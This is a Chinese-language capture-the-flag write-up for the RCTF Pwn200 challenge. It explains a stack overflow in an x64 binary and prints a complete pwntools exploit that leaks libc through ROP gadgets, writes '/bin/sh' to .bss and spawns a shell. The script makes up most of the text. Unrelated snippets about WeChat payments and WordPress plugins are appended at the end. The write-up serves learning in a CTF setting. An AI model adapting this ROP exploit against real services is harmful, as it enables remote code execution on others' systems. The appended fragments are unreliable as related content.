[RCTF]Pwn200 wp

0x00: XCTF开赛了,只看了pwn,这次还比较有意思,有x86  x64  arm mips 多种cpu构架的pwn。自己只搞出了pwn200

0x01:基本信息:

  

  

x64 动态链接 有调试符号(怪不得是最简单的...)

开启的保护如图可以看到。

运行下,随便给点输入:

  

经过分析,发现问题出在echo()函数

而且这个bof的payload大概的格式:

payload = "A"*24+"BBBBBB"+"\x00\x00"

  

0x02:

  思路就是 利用构造的ROP链先去 leak 远程服务器上libc里的system地址,然后利用ROP链再次把 "/bin/sh" 和system()地址 写入程序的.bss段,最后再次利用ROP链去执行 system("/bin/sh")

  但是要注意:x64的函数调用 参数传递顺序是 RDI  RSI  RDX  RCX  R8  R9 之后的参数才用栈传递。

  在IDA中看下

  

  我们可以利用 pwntools的 去得到程序中write()read()这些系统调用的got,用来构造ROP。这时候要使用的是 通用型的ropgads,因为源程序中并没有一些辅助性的东西。

在初始化libc的时候,这些指令可以为我们所用来构造ROP,设置好参数。

因为也没有给libc,所以要leak libc中的函数地址,pwntools的dynELF很好用。

0x03: exp 如下

#!/usr/bin/env python
# coding=utf-8
# author:muhe
# http://www.cnblogs.com/0xmuhe/
from pwn import *

elf = ELF(‘./pwn200‘)
p=remote(‘127.0.0.1‘,6666)
#p = remote(‘180.76.178.48‘,6666)
#p = process(‘./pwn200‘)
addr1=0x40089A
addr2=0x400880
main_addr = 0x4007CD
ppppr=0x40089c
bss_addr=0x601078
got_write = elf.got[‘write‘]
got_read = elf.got[‘read‘]

flag=True
def leak(address):
    global flag
    junk = "A"*24
    p1=""
    p1+=junk
    p1+=p64(ppppr)
    p1+=p64(addr1)
    p1+=p64(0)+p64(1)+p64(got_write)+p64(8)+p64(address)+p64(1)
    p1+=p64(addr2)
    p1+="\x00"*56
    p1+=p64(main_addr)
    p.recvuntil(‘F\n‘)
    p.send(p1)
    #raw_input()
    if flag:
        data = p.recv(8)
        flag=False
    else:
        p.recv(0x1b)
        data = p.recv(8)
    print "%#x => %s" % (address, (data or ‘‘).encode(‘hex‘))
    return data

d = DynELF(leak, elf=ELF(‘./pwn200‘))
system_addr = d.lookup(‘system‘,‘libc‘)
print "system_addr=" + hex(system_addr)

#----------------write /bin/sh to .bss-----------------#
junk = "A"*24
payload=""
payload+=junk
payload+=p64(ppppr)
payload+=p64(addr1)
payload+=p64(0)+p64(1)+p64(got_read)+p64(24)+p64(bss_addr)+p64(0)
#    addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI  RSI  RDX  RCX  R8  R9
payload+=p64(addr2)
payload+="\x00"*56
payload+=p64(main_addr)

p.recvuntil(‘F\n‘)
print "payload 1 ...."
#raw_input()
p.send(payload)
sleep(1)
p.send("AAAABBBB")
p.send("/bin/sh\0")
p.send(p64(system_addr))
#raw_input()
print "sent .."
#raw_input()
sleep(1)

#-----------------get shell --------------------------#
junk = "A"*24
payload2=""
payload2+=junk
payload2+=p64(ppppr)
payload2+=p64(addr1)
payload2+=p64(0)+p64(1)+p64(bss_addr+16)+p64(1)+p64(1)+p64(bss_addr+8)
#    addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI  RSI  RDX  RCX  R8  R9
payload2+=p64(addr2)
payload2+="\x00"*56
payload2+=p64(main_addr)

p.recvuntil(‘F\n‘)
#raw_input()
print "payload 2 ...."
p.send(payload2)
print "ok get shell"

p.interactive()

  

打了一波本地

后来遇到个问题,exp打本地,或者是socket搭建起来的都可以打,但是远程服务器打不了。 - -#  尴尬

0x04:

  算是学习了一波吧,有收获就是好的。

时间: 2024-10-31 11:42:40

[RCTF]Pwn200 wp的相关文章

微信公众号支付安卓和WP支付成功,苹果不能支付!

花了几天时间,终于搞好了,代码是从官网上下的.NET DEMO的代码改的,测试的时候发现安卓和WP手机都能进行支付,但是苹果的怎么支付都支付不了,主要是在下面这个界面 点支付按钮就是苹果支付不了,其他手机都能支付.搞了几天,本来应该是昨天应该搞出来的,但昨天不知道怎么回事同事的iphone加上电脑上的finddler 就是抓 不了包. 今天又再设置了一次finddler, 发现又 可以抓 到包了...结果在抓包的时候看生成的支付页面的代码,才发现问题: 如图, 那个DEMO生成的支付按钮是sut

[All in one WP Migration plugin] 搬迁wordpress 站点

为了方便大家去轻松的migrate 一个wordpress站点, 有developer开发出了一款插件----------All in one WP Migration ;这样大家就可以不用像之前一样要去分别备份数据库和网站文件了; 1. 首先, 在需要搬迁的旧站点和新站点的后台都需要去安装这个 All in one WP Migration plugin; 2. 在旧站点, 右键plugin, 点击export, 这样的操作是为了导出整个网站的备份文件. 需要注意的细节如下; 2.1> 点击右

C#学习(九)之Windows Store App & WP 开发小记(一)

由于课程已经讲述完毕,所以本次学习记录就讨论记录一下我在Windows Store App & WP开发中遇到的一些问题与收获. 一.数据库(Sqlite)的使用 虽然资料很难找,但sqlite在这两个平台的使用还是很简单的. 首先是环境配置阶段: 1.工具->拓展与更新->联机,然后在右上搜索sqlite,之后下载安装下图两个打勾的拓展包,注意要重启VS方才生效. 2.项目->管理NuGet程序包->联机,搜索sqlite,安装下图打勾内容,如果项目多出下图两个文件即安装

WordPress缓存插件WP Super Cache的使用及常见问题解决

WP Super Cache是一款很好的WordPress优化插件,是我用过最好的一款缓存插件.打开WordPress后台搜索插件页面,第一个就是这个插件,可想而知他的地位有多厉害了. 什么是WP Super Cache? WP Super Cache从你的动态Wordpress Blog中生成静态的html文件.当一个html文件生成后,你的服务器就会用显示这个文件来取代处理相对而言需要更大工作量和更多WordPress PHP脚本的动作. 生成的静态html文件会为你的绝大部分用户服务,除了

WordPress插件:WP No Category Base 去除分类Category目录

不少折腾WordPress的朋友都希望去掉分类链接中的 /category/ 目录标志,网上很多这方面的教程,据倡萌所知,除了使用 WP No Category Base 插件(或类似插件),其他的方法都是不太完美的.WordPress大学目前也去掉了/category/ 目录,使用的正是 WP No Category Base 插件. WP No Category Base 插件功能简单,就是仅仅为了去除 /category/ 目录标志,直接安装,不需要任何设置就可以使用. WP No Cat

wp super cache无法预缓存问题

突然发现wp-super-cache无法预缓存,点击[立即加载预缓存]后没有任何效果,并且垃圾回收定时器也失效了,缓存文件全是几天前的,感觉很奇怪!闲下来的时候,突然想起前些天对博客做的一些优化,于是回头挨个去检查,最终发现导致预缓存和定时器失效的原因是因为我优化的时候禁用了WP Cron的功能! 下面这段摘自V7V3的优化教程: 5.禁用WP Cron(我们知道WordPress有个进程专门用来在指定的时间周期或者将来的某个时间点运行特定的任务,比如定时发布某篇日志,这个功能WordPress

WP装逼研究:如何营造让人花钱的游戏

游戏是最好做也是最不好做的项目,游戏的好坏现在都是直接从数据来说话,Windows Phone的游戏应用同样不可能逃出这个行业准则,要说在市场里做的好,那就直接拿数据来说,几乎没人会去在乎游戏到底传达了什么,一刀切看收入,如果解决用户量的问题,下一步一定是收入问题,今天的装逼研究就是探讨如何营造让人花钱的游戏. <我叫MT>.<魔卡幻想>2013年爆出在Windows Phone平台中500万/月流水的消息,引得2014年一片抢滩争夺WP,单单从数据来说,这应该是Windows P

我的【学WP开发】应用开发历程

没有谁一开始就是开发大神,希望会从[学WP开发]应用摸索中成长,我会努力从新手小白蜕变成一名大神WP开发者,你,也可以! 先介绍一下我自己吧,我的微博昵称叫@ViiBoo-维柏,大家也可以叫我维柏,我是一名中专的学生,我对于WP开发者来说,也不过是一个小白而已,我学WP开发的时间很短,也就几个月的时间,甚至连C#的课程都没有学完,但我对于WP开发的热爱,导致于我的第一个应用[学WP开发]匆匆上线了. 刚开始的[学WP开发]的第一个版本说实话,真的很烂,虽然我只是一个开学C#的小白,但我第一次接触

使用多字节字符集的跨平台(PC、Android、IOS、WP)编码/解码方法

随着移动端的发展,跨平台已成为通讯架构设计的重要考虑因素,PC.Android.IOS.WP等跨多平台间的数据通讯,必然要解决字符编码/解码的问题. 多字节字符集MBCS不是跨平台的首选字符集,面向跨平台.国际化的推荐字符集肯定是UNICODE. 写VC的人都知道,在以前VC++6.0中默认的字符集是多字节字符集,而VS2005及以后默认的字符集是Unicode,VS2013中默认不再对多字节字符串进行支持. 但对很多较早的服务端项目,依然使用的是多字节字符集,不过使用多字节字符集依然可以实现跨